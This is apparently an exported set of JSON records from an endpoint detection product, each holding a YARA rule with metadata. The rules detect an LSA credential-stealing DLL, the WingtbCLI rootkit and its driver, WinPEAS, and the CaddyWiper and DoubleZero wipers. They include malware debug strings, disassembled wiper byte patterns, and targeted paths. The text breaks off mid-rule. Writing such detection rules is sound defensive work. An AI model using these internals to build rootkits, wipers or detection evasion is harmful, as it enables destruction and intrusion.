+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_securefilter_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583886Z",
+  "creation_date": "2026-03-23T11:46:25.583888Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583893Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/"
+  ],
+  "name": "windows_trojan_securefilter.yar",
+  "content": "rule LSA_SecureFilter {\n    meta:\n        title = \"LSA Notification Package (SecureFilter.dll)\"\n        id = \"f5376de6-1851-45d6-9af5-696c050c2127\"\n        description = \"Detects the malicious LSA Notification Package SecureFilter.dll associated with Moshen Dragon, a China-linked APT group. This DLL is designed to intercept user authentication processes and steal credentials.\"\n        references = \"https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/\"\n        date = \"2022-05-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1556.002\"\n        classification = \"Windows.Trojan.LSAPackage\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // c249fca04f5f362bb43731b5ae9e7e85a76f6c1472e1c41c40496ab05b513230\n\n        $s1 = \"InitializeChangeNotify\" fullword ascii\n        $s2 = \"PasswordChangeNotify\" fullword ascii\n        $s3 = \"PasswordFilter\" fullword ascii\n        $s4 = \"%wZ :: %wZ\" fullword wide\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 50KB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "LSA_SecureFilter"
+  ],
+  "rule_creation_date": "2022-05-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.LSAPackage"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1556.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wingtbcli_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570825Z",
+  "creation_date": "2026-03-23T11:46:25.570827Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570833Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\nhttps://asec.ahnlab.com/en/87804/\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks"
+  ],
+  "name": "wingtbcli.yar",
+  "content": "rule wingtb_cli {\n    meta:\n        title = \"WingtbCLI HackTool\"\n        id = \"5c34dabc-eeb7-4122-9c71-5856c23b4e2b\"\n        description = \"Detects WingtbCLI.exe, a tool used to interact with an hidden rootkit driver.\\nThis driver is specialized in process, registry key, file and directory hidding and its main role is to conceal a malicious IIS module from security products.\\nThis tool is used to interact with this driver to specify the objects to hide.\\nIt is recommended to analyze the context around this alert and investigate further suspicious actions.\"\n        references = \"https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\\nhttps://asec.ahnlab.com/en/87804/\\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks\"\n        date = \"2025-09-02\"\n        modified = \"2025-10-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1564.001;attack.t1562\"\n        classification = \"Windows.HackTool.WingtbCLI\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc\n\n        $debug_message00 = \"Error, invalid target ruleid for command 'unprotect'\" wide\n        $debug_message01 = \"Internal error, invalid type for command 'unprotect'\" wide\n        $debug_message02 = \"Error, command 'unprotect' rejected\" wide\n        $debug_message03 = \"Command 'unprotect' successful\" wide\n        $debug_message04 = \"Error, invalid target pid for command 'query'\" wide\n        $debug_message05 = \"Error, invalid object type for command 'query'\" wide\n        $debug_message06 = \"Error, query state rejected\" wide\n        $debug_message07 = \"Error, query ignored state rejected\" wide\n        $debug_message08 = \"Error, query protected state rejected\" wide\n        $debug_message09 = \"Error, query hidden state rejected\" wide\n        $debug_message10 = \"Error, mismatched argument #1 for command 'unprotect'\" wide\n        $debug_message11 = \"Error, mismatched argument #2 for command 'unprotect'\" wide\n        $debug_message12 = \"Error, invalid target ruleid for command 'unprotect'\" wide\n        $debug_message13 = \"Internal error, invalid type for command 'unprotect'\" wide\n        $debug_message14 = \"Error, mismatched argument #1 for command 'protect'\" wide\n        $debug_message15 = \"Error, invalid object type in command 'protect'\" wide\n        $debug_message16 = \"Internal error, invalid type for command 'protect'\" wide\n        $debug_message17 = \"Error, command 'protect' rejected\" wide\n        $debug_message18 = \"Command 'protect' successful\" wide\n        $debug_message19 = \"Error, install/uninstall mode isn't supported for this command\" wide\n        $debug_message20 = \"Error, mismatched argument #1 for command 'unignore'\" wide\n        $debug_message21 = \"Error, mismatched argument #2 for command 'unignore'\" wide\n        $debug_message22 = \"Error, invalid target ruleid for command 'unignore'\" wide\n        $debug_message23 = \"Error, mismatched argument #1 for command 'unhide'\" wide\n        $debug_message24 = \"Error, mismatched argument #2 for command 'unhide'\" wide\n        $debug_message25 = \"Error, invalid argument for command 'unhide'\" wide\n        $debug_message26 = \"Error, invalid target objid for command 'unhide'\" wide\n        $debug_message27 = \"Internal error #1, invalid type for command 'unhide'\" wide\n        $debug_message28 = \"Internal error #2, invalid type for command 'unhide'\" wide\n        $debug_message29 = \"Error, command 'unhide' rejected\" wide\n        $debug_message30 = \"Command 'unhide' successful\" wide\n        $debug_message31 = \"Error, invalid argument for command 'hide'\" wide\n        $debug_message32 = \"Internal error, invalid type for command 'hide'\" wide\n        $debug_message33 = \"Error, command 'hide' rejected\" wide\n        $debug_message34 = \"Command 'hide' successful\" wide\n        $debug_message35 = \"Error, mismatched argument #1 for command 'delete'\" wide\n        $debug_message36 = \"Error, mismatched argument #2 for command 'delete'\" wide\n        $debug_message37 = \"Error, invalid target pid for command\" wide\n\n    condition:\n        10 of ($debug*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wingtb_cli"
+  ],
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-10-24",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.WingtbCLI"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wingtb_rootkit_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576753Z",
+  "creation_date": "2026-03-23T11:46:25.576755Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576760Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\nhttps://asec.ahnlab.com/en/87804/\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks"
+  ],
+  "name": "wingtb_rootkit_driver.yar",
+  "content": "rule wingtb_rootkit_driver {\n    meta:\n        title = \"Wingtb Rootkit Driver\"\n        id = \"23bdff04-a77c-4e1a-8ef0-9645e976fa63\"\n        description = \"Detects a hidden rootkit driver written in C++ and called Winkbj.sys.\\nThis driver is specialized in process, registry key, file and directory hidding and its main role is to conceal a malicious IIS module from security products.\\nA specific binary named WingtbCLI.exe is used to interact with this driver to specify the objects to hide.\\nIt is recommended to analyze the context around this alert and investigate further suspicious actions or network connections.\"\n        references = \"https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\\nhttps://asec.ahnlab.com/en/87804/\\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks\"\n        date = \"2025-09-02\"\n        modified = \"2025-10-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1564.001;attack.t1562\"\n        classification = \"Windows.Rootkit.WingtbDriver\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1\n        // 88fd3c428493d5f7d47a468df985c5010c02d71c647ff5474214a8f03d213268\n\n        $debug_msg00 = \"CleanFileFullDirectoryInformation\"\n        $debug_msg01 = \"CleanFileBothDirectoryInformation\"\n        $debug_msg02 = \"CleanFileDirectoryInformation\"\n        $debug_msg03 = \"CleanFileIdFullDirectoryInformation\"\n        $debug_msg04 = \"CleanFileIdBothDirectoryInformation\"\n        $debug_msg05 = \"CleanFileNamesInformation\"\n        $debug_msg06 = \"InitAddHiddenFile\"\n        $debug_msg07 = \"AddHiddenFile\"\n        $debug_msg08 = \"RemoveHiddenFile\"\n        $debug_msg09 = \"RemoveAllHiddenFiles\"\n        $debug_msg10 = \"InitAddHiddenDir\"\n        $debug_msg11 = \"AddHiddenDir\"\n        $debug_msg12 = \"RemoveHiddenDir\"\n        $debug_msg13 = \"RemoveAllHiddenDirs\"\n        $debug_msg14 = \"Added hidden file:%wZ\"\n        $debug_msg15 = \"Adding hidden file failed with code:%08x, path:%wZ\"\n        $debug_msg16 = \"Can't remove hidden file, code:%08x, id:%lld\"\n        $debug_msg17 = \"All hidden files are removed\"\n        $debug_msg18 = \"Can't remove all hidden files, code:%08x\"\n        $debug_msg19 = \"Added hidden dir:%wZ\"\n        $debug_msg20 = \"Adding hidden dir failed with code:%08x, path:%wZ\"\n        $debug_msg21 = \"Can't remove hidden dir, code:%08x, id:%lld\"\n        $debug_msg22 = \"All hidden dirs are removed\"\n        $debug_msg23 = \"Can't remove all hidden dirs, code:%08x\"\n        $debug_msg24 = \"Process object operation, destPid:%Iu, srcTid:%Iu, oper: %s, space: %s\"\n        $debug_msg25 = \"Allow protected process access from %Iu to %Iu\"\n        $debug_msg26 = \"Disallow protected process access from %Iu to %Iu\"\n        $debug_msg27 = \"Thread object operation, destPid:%Iu, destTid:%Iu, srcPid:%Iu, oper:%s, space:%s\"\n        $debug_msg28 = \"Allow protected thread access from %Iu to %Iu\"\n        $debug_msg29 = \"Disallow protected thread access from %Iu to %Iu\"\n        $debug_msg30 = \"Error, can't get active process links list, eprocess:%p\"\n        $debug_msg31 = \"Error, can't find active system process\"\n        $debug_msg32 = \"PID %Iu has been removed from PspCidTable, entry:%p, object:%p, access:%08x\"\n        $debug_msg33 = \"PID %Iu has been restored to PspCidTable, entry:%p, object:%p, access:%08x\"\n        $debug_msg34 = \"Warning, can't add process(pid:%Iu) to process table\"\n        $debug_msg35 = \"Warning, can't remove process(pid:%Iu) from process table\"\n        $debug_msg36 = \"Registry key is hidden: %wZ\"\n        $debug_msg37 = \"Registry key is going to be hidden in: %wZ (inc: %d)\"\n        $debug_msg38 = \"Registry value is going to be hidden in: %wZ (inc: %d)\"\n        $debug_msg39 = \"Registry value has been hidden: %wZ\\\\%wZ (inc: %d)\"\n\n    condition:\n        5 of ($debug_msg*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wingtb_rootkit_driver"
+  ],
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-10-24",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Rootkit.WingtbDriver"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1562"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-winpeas_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563414Z",
+  "creation_date": "2026-03-23T11:46:25.563417Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563426Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1082/\nhttps://attack.mitre.org/techniques/T1592/\nhttps://attack.mitre.org/tactics/TA0004/\nhttps://github.com/carlospolop/PEASS-ng/tree/master/winPEAS"
+  ],
+  "name": "winpeas.yar",
+  "content": "rule winpeas_binaries {\n    meta:\n        title = \"WinPEAS Tool\"\n        id = \"3282873a-3d94-4c4d-a315-5fc362d43d95\"\n        description = \"Detects WinPEAS precompiled binaries.\\nWinPEAS is a popular open-source enumeration tool for privilege escalation. This tool can be used by attackers to enumerate privilege escalation vectors on a host.\\nIt is recommended to investigate the context around the execution of WinPEAS as well as to look for further malicious actions on the host.\"\n        references = \"https://attack.mitre.org/techniques/T1082/\\nhttps://attack.mitre.org/techniques/T1592/\\nhttps://attack.mitre.org/tactics/TA0004/\\nhttps://github.com/carlospolop/PEASS-ng/tree/master/winPEAS\"\n        date = \"2022-10-19\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.reconnaissance;attack.t1592.001;attack.t1592.002;attack.t1592.004;attack.privilege_escalation\"\n        classification = \"Windows.Tool.WinPEAS\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 911b27e9c68ba088aeef0b8042155332973a592346d92e5c4dafbdef4555ab42\n        // 680fb130d71da2d424488e0a34d188e5045d43d79278767d5bb35e694c7b9926\n        // 1a2d90a23fd42c352a89507306d91908fd318f9a2c63c2005d2125191bd5609f\n        // b6a7bd6e96b3acb6cc248b736ceb8feb392cfbbe8f71417c731a43ad34e35b61\n        // c49455b579f01a01dd8b1f6d37419238abd9e720bc4ed355d38fe3999321b917\n        // 470a29e8a06dfb6db4c057b30d0866ebb538a3525342e7a5468141a8659f39e8\n\n        $ascii_pea_1 = \"    {0}(({1}#######(,.***.,(###################(..***.{2}*******{0}(((((\" wide ascii\n        $ascii_pea_2 = \"    {0}(({1}#######*(#####((##################((######/({2}*****{0}(((((\" wide ascii\n        $ascii_pea_3 = \"    {0}(({1}###################(/***********(##############({0})(((((\" wide ascii\n        $ascii_pea_4 = \"    {0}((({1}#####################/*******(################{0})((((((\" wide ascii\n        $ascii_pea_5 = \"    {0}(((({1}############################################{0})((((((\" wide ascii\n\n        $hacktricks_link  = \"https://book.hacktricks.xyz/\" ascii\n        $internal_struct = \"winPEAS.\" ascii\n\n        $cve_pocs_1 = \"https://exploit-db.com/exploits/46718\" fullword ascii\n        $cve_pocs_2 = \"https://github.com/apt69/COMahawk\" fullword ascii\n        $cve_pocs_3 = \"https://github.com/danigargu/CVE-2020-0796 (smbghost)\" fullword ascii\n        $cve_pocs_4 = \"https://github.com/padovah4ck/\" ascii\n        $cve_pocs_5 = \"https://github.com/rogue-kdc/CVE-2019-0841\" fullword ascii\n        $cve_pocs_6 = \"https://github.com/S3cur3Th1sSh1t/SharpByeBear\" fullword ascii\n\n        $general_1 = \"DwinPEAS.Info.FilesInfo.Office.Office+<GetCloudSyncProviderInfos>d__1\" fullword ascii\n        $general_2 = \"If enabled, plain-text crds could be stored in LSAS\" fullword ascii\n        $general_3 = \"norton_internet_secu_3.0_407.exe\" fullword ascii\n        $general_4 = \"NTLM relay might be possible - other users authenticate to this machine using NTLM!\" fullword ascii\n        $general_5 = \"QwinPEAS.KnownFileCreds.SecurityPackages.SecurityPackages+<GetNtlmCredentials>d__5\" fullword ascii\n\n    condition:\n        (uint16(0) == 0x5A4D and filesize < 3MB) and (\n            all of ($ascii_pea_*)           // ascii peas smile\n            or #hacktricks_link > 2         // 3 or more hacktricks links\n            or #internal_struct > 5         // More than 5 internal structs\n            or 3 of ($cve_pocs_*)           // 1/2 of CVE poc links\n            or 3 of ($general_*)            // 1/2 of general strings\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "winpeas_binaries"
+  ],
+  "rule_creation_date": "2022-10-19",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.WinPEAS"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1592.004",
+    "attack.t1592.002",
+    "attack.t1592.001",
+    "attack.t1082"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiper_caddywiper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583544Z",
+  "creation_date": "2026-03-23T11:46:25.583546Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583552Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/"
+  ],
+  "name": "wiper_caddywiper.yar",
+  "content": "rule caddy_wiper {\n    meta:\n        title = \"CaddyWiper\"\n        id = \"4094e73d-8c7f-48fc-add6-e5ec31fe5fb1\"\n        description = \"Detects CaddyWiper malware.\\nCaddyWiper is a destructive malware linked to cyberattacks targeting systems in Ukraine. It specifically targets user files and other storage devices, tampering with drive partitions to render them inaccessible.\\nThe malware is known for its ability to overwrite file systems, leading to potential data loss and system instability.\\nIt is recommended to isolate the affected system and conduct a thorough investigation of file system integrity, as well as to search for others signs of wiping activity throughout the rest of the IT.\"\n        references = \"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/\"\n        date = \"2022-03-15\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.001;attack.t1561.002\"\n        classification = \"Windows.Wiper.CaddyWiper\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176\n        // a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea\n        // f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902\n        // ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72\n\n        // Check if filesize < 10M to prevent huge writes\n        $o1 = {\n            83 ?? ?? ?? FF FF 00           // cmp     [ebp+fileSize], 0\n            73 ??                          // jnb     short loc_4029B8\n            E9 ?? ?? 00 00                 // jmp     loc_402A51\n            81 ?? ?? ?? FF FF 00 00 A0 00  // cmp     [ebp+fileSize], 0A00000h\n            76 ??                          // jbe     short loc_4029CE\n            C7 ?? ?? ?? FF FF 00 00 A0 00  // mov     [ebp+fileSize], 0A00000h\n        }\n\n        // Call to DeviceIoControl to tamper with partition layout\n        $o2 = {\n            6A 00              // push    0\n            8D ?? ?? ?? FF FF  // lea     eax, [ebp+bytesReturned]\n            50                 // push    eax\n            6A 00              // push    0\n            6A 00              // push    0\n            68 80 07 00 00     // push    780h\n            8D ?? ?? ?? FF FF  // lea     ecx, [ebp+inBuffer]\n            51                 // push    ecx\n            68 54 C0 07 00     // push    7C054h --> IOCTL_DISK_SET_DRIVE_LAYOUT_EX\n            8B ?? ??           // mov     edx, [ebp+physicalDriverHandle]\n            52                 // push    edx\n            FF ?? ??           // call    [ebp+DeviceIoControlFunc]\n        }\n\n        // Checks for custom file attributes\n        $o3 = {\n            8B ?? ?? ?? FF FF     // mov     ecx, [ebp+firstFileData.dwFileAttributes]\n            83 E1 10              // and     ecx, 10h\n            0F ?? ?? 00 00 00     // jz      loc_402913\n            0F ?? ?? ?? ?? FF FF  // movsx   edx, [ebp+firstFileData.cFileName]\n            83 FA 2E              // cmp     edx, 2Eh ; '.'\n            75 ??                 // jnz     short loc_40289E\n            0F ?? ?? ?? ?? FF FF  // movsx   eax, [ebp+firstFileData.cFileName+1]\n            85 C0                 // test    eax, eax\n            74 ??                 // jz      short loc_402899\n            0F ?? ?? ?? ?? FF FF  // movsx   ecx, [ebp+firstFileData.cFileName+1]\n            83 F9 2E              // cmp     ecx, 2Eh ; '.'\n            75 ??                 // jnz     short loc_40289E\n            E9 ?? ?? 00 00        // jmp     loc_402A51\n            8B ?? ?? ?? FF FF     // mov     edx, [ebp+firstFileData.dwFileAttributes]\n            83 E2 02              // and     edx, 2\n            75 0B                 // jnz     short loc_4028B4\n            8B ?? ?? ?? FF FF     // mov     eax, [ebp+firstFileData.dwFileAttributes]\n            83 E0 04              // and     eax, 4\n            74 ??                 // jz      short loc_4028B9\n            E9 ?? ?? 00 00        // jmp     loc_402A51\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 100KB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "caddy_wiper"
+  ],
+  "rule_creation_date": "2022-03-15",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.CaddyWiper"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1561.001",
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiper_doublezero_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574797Z",
+  "creation_date": "2026-03-23T11:46:25.574800Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574805Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.gov.ua/article/38088"
+  ],
+  "name": "wiper_doublezero.yar",
+  "content": "rule doublezero_wiper {\n    meta:\n        title = \"DoubleZero Wiper\"\n        id = \"32020d90-2056-48e1-9c20-4cffcbaa5096\"\n        description = \"Detects the destructive .NET DoubleZero malware involved in Ukraine cyberattacks in March 2022.\\nDoubleZero is a file-wiper malware that specifically targets user files and disks by overwriting them with zeros. The malware is known for its destructive nature and was used in cyberattacks against Ukrainian targets. It operates by seeking out specific directories and files to erase, leading to permanent data loss if not promptly addressed.\\nIt is recommended to isolate the affected system and conduct a thorough investigation to identify and preserve any remaining data.\"\n        references = \"https://cert.gov.ua/article/38088\"\n        date = \"2022-03-23\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.001;attack.t1561.002\"\n        classification = \"Windows.Wiper.DoubleZero\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection of these samples:\n        // 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe\n        // 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a\n\n        $s1 = \"FsctlSetZeroData\" ascii fullword\n        $s2 = \"IOControlCode\" ascii fullword\n        $s3 = \"DriveInfo\" ascii fullword\n        $s4 = \"lsass\" wide\n        $s5 = \"\\\\Users\\\\\\\\.*?\\\\\\\\Local Settings.*\" wide\n        $s6 = \"\\\\Users\\\\\\\\.*?\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Application Data.*\" wide\n        $s7 = \"\\\\Users\\\\\\\\.*?\\\\\\\\Start Menu.*\" wide\n        $s8 = \"\\\\Users\\\\\\\\.*?\\\\\\\\Application Data.*\" wide\n        $s9 = \"\\\\ProgramData\\\\\\\\Microsoft.*\" wide\n        $s10 = 